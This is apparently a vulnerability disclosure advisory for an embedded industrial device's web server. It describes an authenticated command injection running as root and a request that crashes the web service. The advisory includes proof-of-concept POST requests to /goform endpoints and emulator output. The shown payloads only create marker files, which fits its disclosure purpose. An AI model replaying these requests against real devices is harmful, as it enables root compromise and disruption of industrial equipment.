Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, or controls various critical equipment via serial
ports,
more extensive damage in the corresponding network can be done by an
attacker.
2) Authenticated Denial of Web-Service
When logged in, a user can issue a POST request such that the underlying
binary
exits. The Web-Service becomes unavailable and cannot be accessed until the
device gets rebooted.
Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection
1.a)
The command "touch /tmp/poc" was injected to the system by using the
following
POST request:
===============================================================================
POST /goform/formTFTPLoadSave HTTP/1.1
Host: 172.16.0.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0)

===============================================================================
The command gets executed as root and a file under the folder /tmp/ is
created.
1.b)
The command "touch /tmp/poc2" was injected to the system by using the
following
POST request:
===============================================================================
POST /goform/formSysCmd HTTP/1.1
Host: 172.16.0.38
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: 172.16.0.38

Content-Length: 40
sysCmd=touch%20/tmp/poc2&submit-url=
===============================================================================
The command gets executed as root and a file under the folder /tmp/ is
created.
Command output is written into /tmp/syscmd.
2) Authenticated Denial of Web-Service
The process goahead chrashes when the following POST request is sent to the
endpoint /goform/formDefault:
===============================================================================
POST /goform/formDefault HTTP/1.1
Host: 172.16.0.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0)

Content-Length: 62
Origin: http://172.16.0.38
Connection: close

Cookie:
-common-web-session-=::webs.session::3c624961199904f380e978a3967cc356
Upgrade-Insecure-Requests: 1
PingIPAddress=127.0.0.1&submit-url=%2Ftoolping.asp&Submit=Ping
===============================================================================
The output was observed on the terminal using our emulated instance:
===============================================================================
rm: invalid option -- /
BusyBox v1.01 (2022.10.21-00:22+0000) multi-call binary
Usage: rm [OPTION]... FILE...
Remove (unlink) the FILE(s). You may use '--' to
indicate that all following arguments are non-options.
Options:
-i always prompt before removing each destination
-f remove existing destinations, never prompt
-r or -R remove the contents of directories recursively
killall: wlwatchdog: no process killed
killall: wlapwatchdog: no process killed
===============================================================================
The vulnerabilities were manually verified on an emulated device by
using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).
